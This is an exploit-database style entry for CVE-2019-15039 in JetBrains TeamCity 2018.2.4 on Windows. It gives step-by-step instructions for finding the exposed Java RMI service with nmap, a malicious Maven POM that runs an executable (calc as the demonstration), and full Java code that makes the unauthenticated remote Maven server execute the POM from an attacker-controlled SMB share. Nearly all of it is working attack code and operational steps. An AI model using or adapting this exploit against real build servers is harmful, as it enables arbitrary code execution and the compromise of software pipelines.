JetBrains TeamCity 2018.2.4 – Remote Code Execution
# Exploit Title: JetBrains TeamCity 2018.2.4 - Remote Code Execution # Date: 2020-01-07 # Exploit Author: Harrison Neal # Vendor Homepage: https://www.jetbrains.com/ # Software Link: https://confluence.jetbrains.com/display/TW/Previous+Releases+Downloads # Version: 2018.2.4 for Windows # CVE: CVE-2019-15039 # You'll need a few .jars from a copy of TeamCity to compile and run this code # To compile, file path should match ${package}/${class}.java, e.g., # com/whatdidibreak/teamcity_expl/Main.java # Instructions for Windows (easier case): # 1) Verify exploitability. # 1a) Verify the remote host is running Windows, e.g. checking for common # running services and their versions. # 1b) Discover Java RMI services on the remote host, e.g. doing a 65k port # scan using nmap and the rmi-dumpregistry script. On one port, there # should be a registry with an object named teamcity-mavenServer. This # object should point to a second open port that is also identified as # Java RMI. # 2) Prepare the payload. # 2a) There needs to be an SMB share that the TeamCity software can read from # and that you can write to. You might establish a share on your own # system and make it accessible to anonymous users. Alternatively, if the # TeamCity server is domain-joined, you might find a pre-existing share # elsewhere in the domain. # 2b) Place a malicious POM in that share, e.g. <project> <modelVersion>4.0.0</modelVersion> <groupId>com.mycompany.app</groupId> <artifactId>my-module</artifactId> <version>1</version> <build> <plugins> <plugin> <groupId>org.codehaus.mojo</groupId> <artifactId>exec-maven-plugin</artifactId> <version>1.1.1</version> <executions> <execution> <goals> <goal>exec</goal> </goals> </execution> </executions> <configuration> <executable>calc</executable> <arguments> <argument>-testarg</argument> </arguments> </configuration> </plugin> </plugins> </build> </project> # 3) Run this exploit. # Argument #1: TeamCity host (IP or FQDN) # Argument #2: Port of RMI Registry (the first open port described above) # Argument #3: UNC path to the malicious POM file (e.g., \\ip\share\pom.xml) # Argument #4: POM goal (e.g., exec:exec) # NOTE: It is possible to exploit this issue in other situations, e.g. if the # TeamCity server is running on a *nix system that allows access to some local # directory over NFS. */ package com.whatdidibreak.teamcity_expl; import java.io.File; import java.io.IOException; import java.net.InetSocketAddress; import java.net.ServerSocket; import java.net.Socket; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.RMISocketFactory; import java.util.ArrayList; import java.util.List; import jetbrains.buildServer.maven.remote.MavenServer; import jetbrains.buildServer.maven.remote.RemoteEmbedder; import org.jetbrains.maven.embedder.MavenEmbedderSettings; import org.jetbrains.maven.embedder.MavenExecutionResult; public class Main { public static void main(String[] args) throws Throwable { String host = args[0]; int port = Integer.parseInt(args[1]); String pomPath = args[2]; String goal = args[3]; // The exported object may point to a different host than what we're // using to connect to the registry, which could break things, i.e., // - localhost // - for a multi-homed target, an IP we can't connect to // - a FQDN or hostname we can't resolve // - etc. // For this reason, we'll set up a socket factory that forces all // connections to go to the host specified by the user, ignoring the // host pointed to by the exported object. OverrideHostSocketFactory sf = new OverrideHostSocketFactory(host); RMISocketFactory.setSocketFactory(sf); // The rest of the code in this method should look fairly typical for // interacting with remote objects using RMI. Registry r = LocateRegistry.getRegistry(host, port, sf); MavenServer ms = (MavenServer) r.lookup("teamcity-mavenServer"); MavenEmbedderSettings mes = new MavenEmbedderSettings(); RemoteEmbedder re = ms.exportEmbedder(mes); File f = new File(pomPath); List ap = new ArrayList(); List g = new ArrayList(); g.add(goal); MavenExecutionResult mer = re.execute(f, ap, g); } private static class OverrideHostSocketFactory extends RMISocketFactory { private String targetHost; public OverrideHostSocketFactory(String targetHost) { this.targetHost = targetHost; } @Override public Socket createSocket(String host, int port) throws IOException { Socket toReturn = new Socket(); toReturn.connect(new InetSocketAddress(targetHost, port)); return toReturn; } @Override public ServerSocket createServerSocket(int port) throws IOException { throw new UnsupportedOperationException("Not supported yet."); } } } |